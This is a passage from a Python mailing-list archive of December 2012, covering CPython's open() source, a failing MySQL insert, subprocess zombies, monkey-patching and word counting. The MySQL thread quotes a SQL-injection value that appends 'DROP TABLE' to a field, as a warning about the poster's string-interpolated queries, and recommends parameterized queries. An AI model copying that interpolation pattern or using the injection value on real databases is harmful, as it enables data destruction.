hg.python.org/cpython/file/bd8afb90ebf2/Modules/_io/_iomodule.c For 2.7.3 I think what you want is the builtin_open() function in http://hg.python.org/cpython/file/70274d53c1dd/Python/bltinmodule.c and the file object and open_the_file() function in http://hg.python.org/cpython/file/70274d53c1dd/Objects/fileobject.c Hope this helps. From andrew3 at r3dsolutions.com Tue Dec 18 16:09:42 2012 From: andrew3 at r3dsolutions.com (Andrew Robinson) Date: Tue, 18 Dec 2012 13:09:42 -0800 Subject: where to view open() function's C implementation source code ? In-Reply-To: References: Message-ID: <50D0DB96.5030008@r3dsolutions.com> On 12/18/2012 07:03 AM, Chris Angelico wrote: > On Wed, Dec 19, 2012 at 1:28 AM, Roy Smith wrote: >> In article, >> iMath wrote: >>>> Download the source for the version you're interested in. >>> but which python module is open() in ? >> I met you half-way, I showed you where the source code is. Now you >> need to come the other half and look at the code. Maybe start by >> grepping the entire source tree for "open"? > Ouch, that mightn't be very effective! With some function names, you > could do that. Not so much "open". Still, it'd be a start... > > ChrisA In Python3.3.0 -- the built in open() appears in Python-3.3.0/Modules/_io/_iomodule.c; There is another module defined in an object in Python-3.3.0/Modules/_io/fileio.c; but I don't think that the one called when a lone x=open(...) is done. Cheers. --Andrew. From rurpy at yahoo.com Tue Dec 18 16:15:42 2012 From: rurpy at yahoo.com (rurpy at yahoo.com) Date: Tue, 18 Dec 2012 13:15:42 -0800 (PST) Subject: =?UTF-8?Q?Re=3A_where_to_view__open=28=29_function=27s_C_implementatio?= =?UTF-8?Q?n_source_code_=EF=BF=BD?= In-Reply-To: References: Message-ID: On Tuesday, December 18, 2012 1:57:37 PM UTC-7, ru... at yahoo.com wrote: >[...] > source code online. For the v3.0.0 version of open(): > hg.python.org/cpython/file/bd8afb90ebf2/Modules/_io/_iomodule.c oops, that should have been: http://hg.python.org/cpython/file/bd8afb90ebf2/Modules/_io/_iomodule.c From borkintom at gmail.com Tue Dec 18 16:34:08 2012 From: borkintom at gmail.com (Tom Borkin) Date: Tue, 18 Dec 2012 17:34:08 -0400 Subject: Why Doesn't This MySQL Statement Execute? Message-ID: Hi; I have this test code: if i_id == "1186": sql = 'insert into interactions values(Null, %s, "Call Back", "%s")' % (i_id, date_plus_2) cursor.execute(sql) db.commit() print sql It prints the sql statement, but it doesn't execute. If I copy and paste the sql into the mysql command line it does execute without warnings or errors. What gives? TIA, Tom -------------- next part -------------- An HTML attachment was scrubbed... URL: From wayne at waynewerner.com Tue Dec 18 17:02:01 2012 From: wayne at waynewerner.com (Wayne Werner) Date: Tue, 18 Dec 2012 16:02:01 -0600 (CST) Subject: Why Doesn't This MySQL Statement Execute? In-Reply-To: References: Message-ID: On Tue, 18 Dec 2012, Tom Borkin wrote: > Hi; > I have this test code: > ? > ??? if i_id == "1186": > ????? sql = 'insert into interactions values(Null, %s, "Call Back", "%s")' % (i_id, date_plus_2) > ????? cursor.execute(sql) > ????? db.commit() > ????? print sql > It prints the sql statement, but it doesn't execute. If I copy and paste the sql into the mysql command line it does execute without warnings or errors. What gives? Does date_plus_2 contain "Robert"); DROP TABLE interactions; -- By any chance? -W From borkintom at gmail.com Tue Dec 18 17:28:09 2012 From: borkintom at gmail.com (Tom Borkin) Date: Tue, 18 Dec 2012 18:28:09 -0400 Subject: Why Doesn't This MySQL Statement Execute? In-Reply-To: References: Message-ID: No (lol). It returns a date as a string: "2012-12-12" for example. Tom On Tue, Dec 18, 2012 at 6:02 PM, Wayne Werner wrote: > On Tue, 18 Dec 2012, Tom Borkin wrote: > > Hi; >> I have this test code: >> >> if i_id == "1186": >> sql = 'insert into interactions values(Null, %s, "Call Back", >> "%s")' % (i_id, date_plus_2) >> cursor.execute(sql) >> db.commit() >> print sql >> It prints the sql statement, but it doesn't execute. If I copy and paste >> the sql into the mysql command line it does execute without warnings or >> errors. What gives? >> > > Does date_plus_2 contain > > "Robert"); DROP TABLE interactions; -- > > By any chance? > -W -------------- next part -------------- An HTML attachment was scrubbed... URL: From rosuav at gmail.com Tue Dec 18 17:42:11 2012 From: rosuav at gmail.com (Chris Angelico) Date: Wed, 19 Dec 2012 09:42:11 +1100 Subject: Why Doesn't This MySQL Statement Execute? In-Reply-To: References: Message-ID: On Wed, Dec 19, 2012 at 9:28 AM, Tom Borkin wrote: > No (lol). It returns a date as a string: "2012-12-12" for example. > Tom Then that's why it doesn't work. Wayne was hinting at a major MAJOR problem with your code; it's interpolating data into the SQL statement, instead of providing parameters to the query. Don't do it! Just don't! ChrisA From hansmu at xs4all.nl Tue Dec 18 17:46:11 2012 From: hansmu at xs4all.nl (Hans Mulder) Date: Tue, 18 Dec 2012 23:46:11 +0100 Subject: os.system and subprocess odd behavior In-Reply-To: <0e224780-b84f-4f72-9c95-bc55cde8b183@googlegroups.com> References: <50cbac6d$0$29991$c3e8da3$5496439d@news.astraweb.com> <8757bcac-76ac-4b15-9410-dc61d7a8c641@googlegroups.com> <0e224780-b84f-4f72-9c95-bc55cde8b183@googlegroups.com> Message-ID: <50d0f233$0$6983$e4fe514c@news2.news.xs4all.nl> On 17/12/12 21:56:50, py_genetic wrote: > /usr/local/Calpont/mysql/bin/mysql --defaults-file=/usr/local/Calpont/mysql/my.cnf -u root myDB < /home/myusr/jobs/APP_JOBS/JOB_XXX.SQL > /home/myusr/jobs/APP_JOBS/JOB_XXX.TXT If you're trying to interact with a MySQL database, then you should really use the myslqdb module. Trying to parse the output of the command-line utility is harder, and is too fragile for production use. Hope this helps, -- HansM From hansmu at xs4all.nl Tue Dec 18 17:57:10 2012 From: hansmu at xs4all.nl (Hans Mulder) Date: Tue, 18 Dec 2012 23:57:10 +0100 Subject: Why Doesn't This MySQL Statement Execute? In-Reply-To: References: Message-ID: <50d0f4c7$0$6952$e4fe514c@news2.news.xs4all.nl> On 18/12/12 22:34:08, Tom Borkin wrote: > Hi; > I have this test code: > > if i_id == "1186": > sql = 'insert into interactions values(Null, %s, "Call Back", > "%s")' % (i_id, date_plus_2) > cursor.execute(sql) > db.commit() > print sql > It prints the sql statement, but it doesn't execute. If I copy and paste > the sql into the mysql command line it does execute without warnings or > errors. What gives? What happens if you do: if i_id == "1186": sql = 'insert into interactions values(Null, %s, "Call Back", %s)' cursor.execute(sql, (i_id, date_plus_2)) db.commit() print sql Note the absence of quotes around the second %s in the sql command. This should work correctly even if date_plus_2 happens to contain Robert"); DROP TABLE interactions; -- For background information, see http://bobby-tables.com/python.html Hope this helps, -- HansM From cs at zip.com.au Tue Dec 18 18:03:16 2012 From: cs at zip.com.au (Cameron Simpson) Date: Wed, 19 Dec 2012 10:03:16 +1100 Subject: os.system and subprocess odd behavior In-Reply-To: <50D047FC.6050406@davea.name> References: <50D047FC.6050406@davea.name> Message-ID: <20121218230316.GA16948@cskk.homeip.net> On 18Dec2012 05:39, Dave Angel wrote: | On 12/18/2012 05:27 AM, Hans Mulder wrote: | > On 18/12/12 06:10:43, photonymous at gmail.com wrote: | >> I hope I understand the question... but shouldn't you wait for the process to complete before exiting? | >> | >> Something like: | >> | >> pid = subprocess.Popen(...) | >> pid.wait() | >> | >> Otherwise, it'll exit before the background process is done. | > Why would that be a problem? | | Because you don't want to bog the system down with a zombie task. A zombie task is just a process table slot; it costs the system almost nothing. It is untidy but except in extreme cases, not a performance or resource issue. OTOH, a child process that is still active (pointlessly) might be a problem... -- Cameron Simpson My initial work-around is to rebuild history. - gary at sci34hub.sci.com (Gary Heston) From redstone-cold at 163.com Tue Dec 18 18:55:05 2012 From: redstone-cold at 163.com (iMath) Date: Tue, 18 Dec 2012 15:55:05 -0800 (PST) Subject: =?UTF-8?Q?Re=3A_where_to_view__open=28=29_function=27s_C_implementatio?= =?UTF-8?Q?n_source_code_=EF=BF=BD?= In-Reply-To: References: Message-ID: ? 2012?12?19????UTC+8??4?57?37??ru... at yahoo.com??? > On Monday, December 17, 2012 10:35:58 PM UTC-7, Roy Smith wrote: > > > iMath wrote: > > > > where to view open() function's C implementation source code ? > > > http://www.python.org/download/releases/ > > > Download the source for the version you're interested in. > > > > iMath: > > > > There is no need to download the source. You can browse the > > source code online. For the v3.0.0 version of open(): > > hg.python.org/cpython/file/bd8afb90ebf2/Modules/_io/_iomodule.c > > > > For 2.7.3 I think what you want is the builtin_open() function in > > http://hg.python.org/cpython/file/70274d53c1dd/Python/bltinmodule.c > > and the file object and open_the_file() function in > > http://hg.python.org/cpython/file/70274d53c1dd/Objects/fileobject.c > > > > Hope this helps. thanks very much ! From redstone-cold at 163.com Tue Dec 18 18:55:49 2012 From: redstone-cold at 163.com (iMath) Date: Tue, 18 Dec 2012 15:55:49 -0800 (PST) Subject: =?UTF-8?Q?Re=3A_where_to_view__open=28=29_function=27s_C_implementatio?= =?UTF-8?Q?n_source_code_=EF=BF=BD?= In-Reply-To: References: Message-ID: <9b82d14c-6e1f-4bf6-8683-97d0537656fd@googlegroups.com> ? 2012?12?19????UTC+8??4?57?37??ru... at yahoo.com??? > On Monday, December 17, 2012 10:35:58 PM UTC-7, Roy Smith wrote: > > > iMath wrote: > > > > where to view open() function's C implementation source code ? > > > http://www.python.org/download/releases/ > > > Download the source for the version you're interested in. > > > > iMath: > > > > There is no need to download the source. You can browse the > > source code online. For the v3.0.0 version of open(): > > hg.python.org/cpython/file/bd8afb90ebf2/Modules/_io/_iomodule.c > > > > For 2.7.3 I think what you want is the builtin_open() function in > > http://hg.python.org/cpython/file/70274d53c1dd/Python/bltinmodule.c > > and the file object and open_the_file() function in > > http://hg.python.org/cpython/file/70274d53c1dd/Objects/fileobject.c > > > > Hope this helps. thanks very much ! From borkintom at gmail.com Tue Dec 18 19:11:10 2012 From: borkintom at gmail.com (Tom Borkin) Date: Tue, 18 Dec 2012 20:11:10 -0400 Subject: Why Doesn't This MySQL Statement Execute? In-Reply-To: <50d0f4c7$0$6952$e4fe514c@news2.news.xs4all.nl> References: <50d0f4c7$0$6952$e4fe514c@news2.news.xs4all.nl> Message-ID: Actually, what I originally had was: cursor.execute("""insert into interactions values(Null, %s, "Call Back", %s)""", (i_id, date_plus_2)) and that didn't work, either. I tried your variation like: cursor.execute("""insert into interactions values(Null, %s, "Call Back", %s)""" % (i_id, date_plus_2)) and no cigar :( Tom -------------- next part -------------- An HTML attachment was scrubbed... URL: From steve+comp.lang.python at pearwood.info Tue Dec 18 19:54:13 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 19 Dec 2012 00:54:13 GMT Subject: Is it possible monkey patch like this? References: Message-ID: <50d11034$0$29991$c3e8da3$5496439d@news.astraweb.com> On Tue, 18 Dec 2012 02:26:42 -0800, Marc Aymerich wrote: > Dear all, > I want to monkey patch a method that has lots of code so I want to avoid > copying all the original method for changing just two lines. The thing > is that I don't know how to do this kind of monkey patching. The only types of monkey-patching supported by Python are overriding or overloading. In the first, you override a function by replacing it with a new function of your own design; in the second, you save the original somewhere, then replace it with a new function that wraps the old: # overloading the len() function _len = len def len(obj): print "calling len on object %r" % obj print "returning result as a string" return str(_len(obj)) You cannot monkey-patch in the middle of a function. Technically, you could hack the byte code of the function, but such a thing is not supported or documented anywhere. If you want to learn more, you can google on "python byte code hacks", but let me warn you that this is advanced, and dark, territory where you will get little or no help when things go wrong. > Consider the following code: > > class OringinalClass(object): > def origina_method(self, *args, **kwargs): > ... > if some_condition(): # This condition should be changed > raise SomeException If some_condition is a function or method call, you can patch the function or method. That may require subclassing another object. E.g. if args[2].startswith('spam'): ... # CHANGE ME instead of passing a string as args[2], you could subclass string to patch startswith, then pass a subclass instance instead of a string: result = instance.original_method(x, y, 'spam', z) becomes: result = instance.original_method(x, y, MyStr('spam'), z) You could even patch original_method to automatically MyStr-ify args[2]. But in general, if the condition is an arbitrary expression: if x < y or z > 2 and spam is not None: # CHANGE ME there is nothing you can do except replace the entire method. > if some_condition(): > ... > #if some_condition(local_variable): # This condition should > be added # raise SomeException > ... Pretty much the same applies. If you can move the new condition to the start or end of the method, you can patch. To insert it in an arbitrary spot in the middle, forget it. > Is it possible to tell Python to run the original method without > stopping when an exception is raised? so I can catch them on a wrapper > method and apply my conditional there. No. Your request doesn't even make sense. What are you going to catch if no exception is raised? What do you expect the method to do if it doesn't stop? Consider: def original(self, x, y): z = x + y print z return "hello world"[z] Suppose you pass x=1, y={} so that x+y fails. What do you expect Python to do if you tell it not to stop at an exception? What will it print? What result should it return? -- Steven From gordon at panix.com Tue Dec 18 22:57:41 2012 From: gordon at panix.com (John Gordon) Date: Wed, 19 Dec 2012 03:57:41 +0000 (UTC) Subject: Why Doesn't This MySQL Statement Execute? References: <50d0f4c7$0$6952$e4fe514c@news2.news.xs4all.nl> Message-ID: In Tom Borkin writes: > Actually, what I originally had was: > cursor.execute("""insert into interactions values(Null, %s, "Call Back", > %s)""", (i_id, date_plus_2)) > and that didn't work, either. I tried your variation like: > cursor.execute("""insert into interactions values(Null, %s, "Call Back", > %s)""" % (i_id, date_plus_2)) > and no cigar :( > Tom Have you tried using single-quotes around Call Back, instead of double quotes? I've noticed that SQL statements prefer single-quoted strings (although that may be Oracle specific, as that's all I've really worked with). -- John Gordon A is for Amy, who fell down the stairs gordon at panix.com B is for Basil, assaulted by bears -- Edward Gorey, "The Gashlycrumb Tinies" From rosuav at gmail.com Tue Dec 18 23:49:41 2012 From: rosuav at gmail.com (Chris Angelico) Date: Wed, 19 Dec 2012 15:49:41 +1100 Subject: Why Doesn't This MySQL Statement Execute? In-Reply-To: References: <50d0f4c7$0$6952$e4fe514c@news2.news.xs4all.nl> Message-ID: On Wed, Dec 19, 2012 at 2:57 PM, John Gordon wrote: > In Tom Borkin writes: > >> Actually, what I originally had was: >> cursor.execute("""insert into interactions values(Null, %s, "Call Back", >> %s)""", (i_id, date_plus_2)) >> and that didn't work, either. I tried your variation like: >> cursor.execute("""insert into interactions values(Null, %s, "Call Back", >> %s)""" % (i_id, date_plus_2)) >> and no cigar :( >> Tom > > Have you tried using single-quotes around Call Back, instead of > double quotes? I've noticed that SQL statements prefer single-quoted > strings (although that may be Oracle specific, as that's all I've really > worked with). The SQL standard specifies single quotes, but MySQL and the SQL standard aren't always on speaking terms. It depends on the MySQL settings as to whether "asdf" means 'asdf' or means a column named asdf. But if that's what the problem is, there ought to be an exception coming back, surely? I'm not familiar with the Python MySQL bindings, but that's what I would expect. What, specifically, does "no cigar" mean? It executes without errors but does nothing? It purchases a gun, aims at your shoe, and pulls the trigger? ChrisA From rurpy at yahoo.com Tue Dec 18 23:49:58 2012 From: rurpy at yahoo.com (rurpy at yahoo.com) Date: Tue, 18 Dec 2012 20:49:58 -0800 (PST) Subject: =?UTF-8?Q?Re=3A_where_to_view__open=28=29_function=27s_C_implementatio?= =?UTF-8?Q?n_source_code_=EF=BF=BD?= In-Reply-To: <9b82d14c-6e1f-4bf6-8683-97d0537656fd@googlegroups.com> References: <9b82d14c-6e1f-4bf6-8683-97d0537656fd@googlegroups.com> Message-ID: <80b8a52c-9649-4c5a-8e2e-19531afd709c@googlegroups.com> On 12/18/2012 04:55 PM, iMath wrote: > > ? 2012?12?19????UTC+8??4?57?37??ru... at yahoo.com??? > >[...] >> >> There is no need to download the source. You can browse the >> >> source code online. For the v3.0.0 version of open(): >> >> hg.python.org/cpython/file/bd8afb90ebf2/Modules/_io/_iomodule.c >> >> >> >> For 2.7.3 I think what you want is the builtin_open() function in >> >> http://hg.python.org/cpython/file/70274d53c1dd/Python/bltinmodule.c >> >> and the file object and open_the_file() function in >> >> http://hg.python.org/cpython/file/70274d53c1dd/Objects/fileobject.c >> >> >> >> Hope this helps. > > > > thanks very much ! Your welcome. I noticed that you, like me, are using Google Groups. You might want to read this page about posting from Google Groups: http://wiki.python.org/moin/GoogleGroupsPython It will help you avoid double posts and other Google Groups posting problems that annoy other people here. From matifayaz at gmail.com Wed Dec 19 05:42:26 2012 From: matifayaz at gmail.com (AT) Date: Wed, 19 Dec 2012 02:42:26 -0800 (PST) Subject: Pattern-match & Replace - help required Message-ID: Hi, I am new to python and web2py framework. Need urgent help to match a pattern in an string and replace the matched text. I've this string (basically an sql statement): stmnt = 'SELECT taxpayer.id, taxpayer.enc_name, taxpayer.age, taxpayer.occupation FROM taxpayer WHERE (taxpayer.id IS NOT NULL);' The requirement is to replace it with this one: r_stmnt = 'SELECT taxpayer.id, decrypt(taxpayer.enc_name), taxpayer.age, taxpayer.occupation FROM taxpayer WHERE (taxpayer.id IS NOT NULL);' Can somebody please help? Thanks & Regards From dgcosgrave at gmail.com Wed Dec 19 05:45:13 2012 From: dgcosgrave at gmail.com (dgcosgrave at gmail.com) Date: Wed, 19 Dec 2012 02:45:13 -0800 (PST) Subject: counting how often the same word appears in a txt file...But my code only prints the last line entry in the txt file Message-ID: Hi Iam just starting out with python...My code below changes the txt file into a list and add them to an empty dictionary and print how often the word occurs, but it only seems to recognise and print the last entry of the txt file. Any help would be great. tm =open('ask.txt', 'r') dict = {} for line in tm: line = line.strip() line = line.translate(None, '!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~') line = line.lower() list = line.split(' ') for word in list: if word in dict: count = dict[word] count += 1 dict[word] = count else: dict[word] = 1 for word, count in dict.iteritems(): print word + ":" + str(count) From steve+comp.lang.python at pearwood.info Wed Dec 19 05:51:22 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 19 Dec 2012 10:51:22 GMT Subject: Pattern-match & Replace - help required References: Message-ID: <50d19c29$0$29991$c3e8da3$5496439d@news.astraweb.com> On Wed, 19 Dec 2012 02:42:26 -0800, AT wrote: > Hi, > > I am new to python and web2py framework. Need urgent help to match a > pattern in an string and replace the matched text. > > I've this string (basically an sql statement): > > stmnt = 'SELECT taxpayer.id, > taxpayer.enc_name, > taxpayer.age, > taxpayer.occupation > FROM taxpayer WHERE (taxpayer.id IS NOT NULL);' > > The requirement is to replace it with this one: > > r_stmnt = 'SELECT taxpayer.id, > decrypt(taxpayer.enc_name), > taxpayer.age, > taxpayer.occupation > FROM taxpayer WHERE (taxpayer.id IS NOT NULL);' > > Can somebody please help? Can you do this? stmnt = r_stmnt That should do what you are asking. If that doesn't solve your problem, you will need to explain your problem in more detail. -- Steven From jpiitula at ling.helsinki.fi Wed Dec 19 05:55:28 2012 From: jpiitula at ling.helsinki.fi (Jussi Piitulainen) Date: 19 Dec 2012 12:55:28 +0200 Subject: counting how often the same word appears in a txt file...But my code only prints the last line entry in the txt file References: Message-ID: dgcosgrave at gmail.com writes: > Hi Iam just starting out with python...My code below changes the txt > file into a list and add them to an empty dictionary and print how > often the word occurs, but it only seems to recognise and print the > last entry of the txt file. Any help would be great. > > tm =open('ask.txt', 'r') > dict = {} > for line in tm: > line = line.strip() > line = line.translate(None, '!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~') > line = line.lower() > list = line.split(' ') > for word in list: > if word in dict: > count = dict[word] > count += 1 > dict[word] = count > else: > dict[word] = 1 > for word, count in dict.iteritems(): > print word + ":" + str(count) The "else" clause is mis-indented (rather, mis-unindented). Python's "for" statement does have an optional "else" clause. That's why you don't get a syntax error. The "else" clause is used after the loop finishes normally. That's why it catches the last word. From matifayaz at gmail.com Wed Dec 19 06:01:32 2012 From: matifayaz at gmail.com (AT) Date: Wed, 19 Dec 2012 03:01:32 -0800 (PST) Subject: Pattern-match & Replace - help required In-Reply-To: <50d19c29$0$29991$c3e8da3$5496439d@news.astraweb.com> References: <50d19c29$0$29991$c3e8da3$5496439d@news.astraweb.com> Message-ID: <6ff2d112-aff7-4f32-956c-2136ada81f6e@googlegroups.com> On Wednesday, 19 December 2012 15:51:22 UTC+5, Steven D'Aprano wrote: > On Wed, 19 Dec 2012 02:42:26 -0800, AT wrote: > > > > > Hi, > > > > > > I am new to python and web2py framework. Need urgent help to match a > > > pattern in an string and replace the matched text. > > > > > > I've this string (basically an sql statement): > > > > > > stmnt = 'SELECT taxpayer.id, > > > taxpayer.enc_name, > > > taxpayer.age, > > > taxpayer.occupation > > > FROM taxpayer WHERE (taxpayer.id IS NOT NULL);' > > > > > > The requirement is to replace it with this one: > > > > > > r_stmnt = 'SELECT taxpayer.id, > > > decrypt(taxpayer.enc_name), > > > taxpayer.age, > > > taxpayer.occupation > > > FROM taxpayer WHERE (taxpayer.id IS NOT NULL);' > > > > > > Can somebody please help? > > > > Can you do this? > > > > stmnt = r_stmnt > > > > That should do what you are asking. > > > > If that doesn't solve your problem, you will need to explain your problem > > in more detail. > > > > > > > > -- > > Steven I just wanted to change taxpayer.enc_name in stmnt to decrypt(taxpayer.enc_name) hope it clarifies? thanks From steve+comp.lang.python at pearwood.info Wed Dec 19 06:03:21 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 19 Dec 2012 11:03:21 GMT Subject: counting how often the same word appears in a txt file...But my code only prints the last line entry in the txt file References: Message-ID: <50d19ef9$0$29991$c3e8da3$5496439d@news.astraweb.com> On Wed, 19 Dec 2012 02:45:13 -0800, dgcosgrave wrote: > Hi Iam just starting out with python...My code below changes the txt > file into a list and add them to an empty dictionary and print how often > the word occurs, but it only seems to recognise and print the last entry > of the txt file. Any help would be great. > > tm =open('ask.txt', 'r') > dict = {} > for line in tm: > line = line.strip() > line = line.translate(None, '!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~') > line = line.lower() > list = line.split(' ') Note: you should use descriptive names. Since this is a list of WORDS, a much better name would be "words" rather than list. Also, list is a built- in function, and you may run into trouble when you accidentally re-use that as a name. Same with using "dict" as you do. Apart from that, so far so good. For each line, you generate a list of words. But that's when it goes wrong, because you don't do anything with the list of words! The next block of code is *outside* the for-loop, so it only runs once the for-loop is done. So it only sees the last list of words. > for word in list: The problem here is that you lost the indentation. You need to indent the "for word in list" (better: "for word in words") so that it starts level with the line above it. > if word in dict: > count = dict[word] > count += 1 > dict[word] = count This bit is fine. > else: > dict[word] = 1 But this fails for the same reason! You have lost the indentation. A little-known fact: Python for-loops take an "else" block too! It's a badly named statement, but sometimes useful. You can write: for value in values: do_something_with(value) if condition: break # skip to the end of the for...else else: print "We never reached the break statement" So by pure accident, you lined up the "else" statement with the for loop, instead of what you needed: for line in tm: ... blah blah blah for word in words: if word in word_counts: # better name than "dict" ... blah blah blah else: ... > for word, count in dict.iteritems(): > print word + ":" + str(count) And this bit is okay too. Good luck! -- Steven From steve+comp.lang.python at pearwood.info Wed Dec 19 06:09:47 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 19 Dec 2012 11:09:47 GMT Subject: Pattern-match & Replace - help required References: <50d19c29$0$29991$c3e8da3$5496439d@news.astraweb.com> <6ff2d112-aff7-4f32-956c-2136ada81f6e@googlegroups.com> Message-ID: <50d1a07b$0$29991$c3e8da3$5496439d@news.astraweb.com> On Wed, 19 Dec 2012 03:01:32 -0800, AT wrote: > I just wanted to change taxpayer.enc_name in stmnt to > decrypt(taxpayer.enc_name) > > hope it clarifies? Maybe. Does this help? lunch = "Bread, ham, cheese and tomato." # replace ham with spam offset = lunch.find('ham') if offset != -1: lunch = lunch[:offset] + 'spam' + lunch[offset + len('ham'):] print(lunch) -- Steven From thbach at students.uni-mainz.de Wed Dec 19 06:21:57 2012 From: thbach at students.uni-mainz.de (Thomas Bach) Date: Wed, 19 Dec 2012 12:21:57 +0100 Subject: counting how often the same word appears in a txt file...But my code only prints the last line entry in the txt file In-Reply-To: References: Message-ID: <20121219112135.GA3965@taris.box> Hi, just as a side-note On Wed, Dec 19, 2012 at 02:45:13AM -0800, dgcosgrave at gmail.com wrote: > for word in list: > if word in dict: > count = dict[word] > count += 1 > dict[word] = count > else: > dict[word] = 1 When you got the indentation and names right, you can restate this as import collections counter = collections.Counter(words) in Python 2.7 or as import collections counter = collections.defaultdict(int) for word in words: counter[word] += 1 in Python 2.6 Regards, Thomas. From thbach at students.uni-mainz.de Wed Dec 19 06:27:19 2012 From: thbach at students.uni-mainz.de (Thomas Bach) Date: Wed, 19 Dec 2012 12:27:19 +0100 Subject: Pattern-match & Replace - help required In-Reply-To: References: Message-ID: <20121219112719.GB3965@taris.box> On Wed, Dec 19, 2012 at 02:42:26AM -0800, AT wrote: > Hi, > > I am new to python and web2py framework. Need urgent help to match a > pattern in an string and replace the matched text. > Well, what about str.replace then? >>> 'egg, ham, tomato'.replace('ham', 'spam, ham, spam') 'egg, spam, ham, spam, tomato' If the pattern you want to match is more complicated, have a look at the re module! Regards, Thomas. From dgcosgrave at gmail.com Wed Dec 19 06:28:40 2012 From: dgcosgrave at gmail.com (dgcosgrave at gmail.com) Date: Wed, 19 Dec 2012 03:28:40 -0800 (PST) Subject: counting how often the same word appears in a txt file...But my code only prints the last line entry in the txt file In-Reply-To: References: Message-ID: <17964ae5-dc49-4f46-a004-d5c665d250dc@googlegroups.com> On Wednesday, December 19, 2012 11:55:28 PM UTC+13, Jussi Piitulainen wrote: > > > > > > Hi Iam just starting out with python...My code below changes the txt > > > file into a list and add them to an empty dictionary and print how > > > often the word occurs, but it only seems to recognise and print the > > > last entry of the txt file. Any help would be great. > > > > > > tm =open('ask.txt', 'r') > > > dict = {} > > > for line in tm: > > > line = line.strip() > > > line = line.translate(None, '!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~') > > > line = line.lower() > > > list = line.split(' ') > > > for word in list: > > > if word in dict: > > > count = dict[word] > > > count += 1 > > > dict[word] = count > > > else: > > > dict[word] = 1 > > > for word, count in dict.iteritems(): > > > print word + ":" + str(count) > > > > The "else" clause is mis-indented (rather, mis-unindented). > > > > Python's "for" statement does have an optional "else" clause. That's > > why you don't get a syntax error. The "else" clause is used after the > > loop finishes normally. That's why it catches the last word. Thanks for quick reply Jussi...indentation fixed the problem :-) From dgcosgrave at gmail.com Wed Dec 19 06:34:06 2012 From: dgcosgrave at gmail.com (dgcosgrave at gmail.com) Date: Wed, 19 Dec 2012 03:34:06 -0800 (PST) Subject: counting how often the same word appears in a txt file...But my code only prints the last line entry in the txt file In-Reply-To: <50d19ef9$0$29991$c3e8da3$5496439d@news.astraweb.com> References: <50d19ef9$0$29991$c3e8da3$5496439d@news.astraweb.com> Message-ID: <88298877-1213-4305-96bf-2e3f99a88856@googlegroups.com> On Thursday, December 20, 2012 12:03:21 AM UTC+13, Steven D'Aprano wrote: > On Wed, 19 Dec 2012 02:45:13 -0800, dgcosgrave wrote: > > > > > Hi Iam just starting out with python...My code below changes the txt > > > file into a list and add them to an empty dictionary and print how often > > > the word occurs, but it only seems to recognise and print the last entry > > > of the txt file. Any help would be great. > > > > > > tm =open('ask.txt', 'r') > > > dict = {} > > > for line in tm: > > > line = line.strip() > > > line = line.translate(None, '!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~') > > > line = line.lower() > > > list = line.split(' ') > > > > Note: you should use descriptive names. Since this is a list of WORDS, a > > much better name would be "words" rather than list. Also, list is a built- > > in function, and you may run into trouble when you accidentally re-use > > that as a name. Same with using "dict" as you do. > > > > Apart from that, so far so good. For each line, you generate a list of > > words. But that's when it goes wrong, because you don't do anything with > > the list of words! The next block of code is *outside* the for-loop, so > > it only runs once the for-loop is done. So it only sees the last list of > > words. > > > > > for word in list: > > > > The problem here is that you lost the indentation. You need to indent the > > "for word in list" (better: "for word in words") so that it starts level > > with the line above it. > > > > > if word in dict: > > > count = dict[word] > > > count += 1 > > > dict[word] = count > > > > This bit is fine. > > > > > else: > > > dict[word] = 1 > > > > But this fails for the same reason! You have lost the indentation. > > > > A little-known fact: Python for-loops take an "else" block too! It's a > > badly named statement, but sometimes useful. You can write: > > > > > > for value in values: > > do_something_with(value) > > if condition: > > break # skip to the end of the for...else > > else: > > print "We never reached the break statement" > > > > So by pure accident, you lined up the "else" statement with the for loop, > > instead of what you needed: > > > > for line in tm: > > ... blah blah blah > > for word in words: > > if word in word_counts: # better name than "dict" > > ... blah blah blah > > else: > > ... > > > > > > > for word, count in dict.iteritems(): > > > print word + ":" + str(count) > > > > And this bit is okay too. > > > > > > Good luck! > > > > > > -- > > Steven Thanks Steven appreciate great info for future coding. i have change names to be more decriptive and corrected the indentation... all works! cheers From dgcosgrave at gmail.com Wed Dec 19 06:37:25 2012 From: dgcosgrave at gmail.com (dgcosgrave at gmail.com) Date: Wed, 19 Dec 2012 03:37:25 -0800 (PST) Subject: counting how often the same word appears in a txt file...But my code only prints the last line entry in the txt file In-Reply-To: References: Message-ID: <0e63ae65-1607-494e-9e76-2ed7cd4e3e19@googlegroups.com> On Thursday, December 20, 2012 12:21:57 AM UTC+13, Thomas Bach wrote: > Hi, > > > > just as a side-note > > > > On Wed, Dec 19, 2012 at 02:45:13AM -0800, : > > > for word in list: > > > if word in dict: > > > count = dict[word] > > > count += 1 > > > dict[word] = count > > > else: > > > dict[word] = 1 > > > > When you got the indentation and names right, you can restate this as > > > > import collections > > counter = collections.Counter(words) > > > > in Python 2.7 or as > > > > import collections > > counter = collections.defaultdict(int) > > for word in words: > > counter[word] += 1 > > > > in Python 2.6 > > > > Regards, > > Thomas. Thanks Thomas for your time... using 2.7 great! From dgcosgrave at gmail.com Wed Dec 19 06:37:25 2012 From: dgcosgrave at gmail.com (dgcosgrave at gmail.com) Date: Wed, 19 Dec 2012 03:37:25 -0800 (PST) Subject: counting how often the same word appears in a txt file...But my code only prints the last line entry in the txt file In-Reply-To: References: Message-ID: <0e63ae65-1607-494e-9e76-2ed7cd4e3e19@googlegroups.com> On Thursday, December 20, 2012 12:21:57 AM UTC+13, Thomas Bach wrote: > Hi, > > > > just as a side-note > > > > On Wed, Dec 19, 2012 at 02:45:13AM -0800, : > > > for word in list: > > > if word in dict: > > > count = dict[word] > > > count += 1 > > > dict[word] = count > > > else: > > > dict[word] = 1 > > > > When you got the indentation and names right, you can restate this as > > > > import collections > > counter = collections.Counter(words) > > > > in Python 2.7 or as > > > > import collections > > counter = collections.defaultdict(int) > > for word in words: > > counter[word] += 1 > > > > in 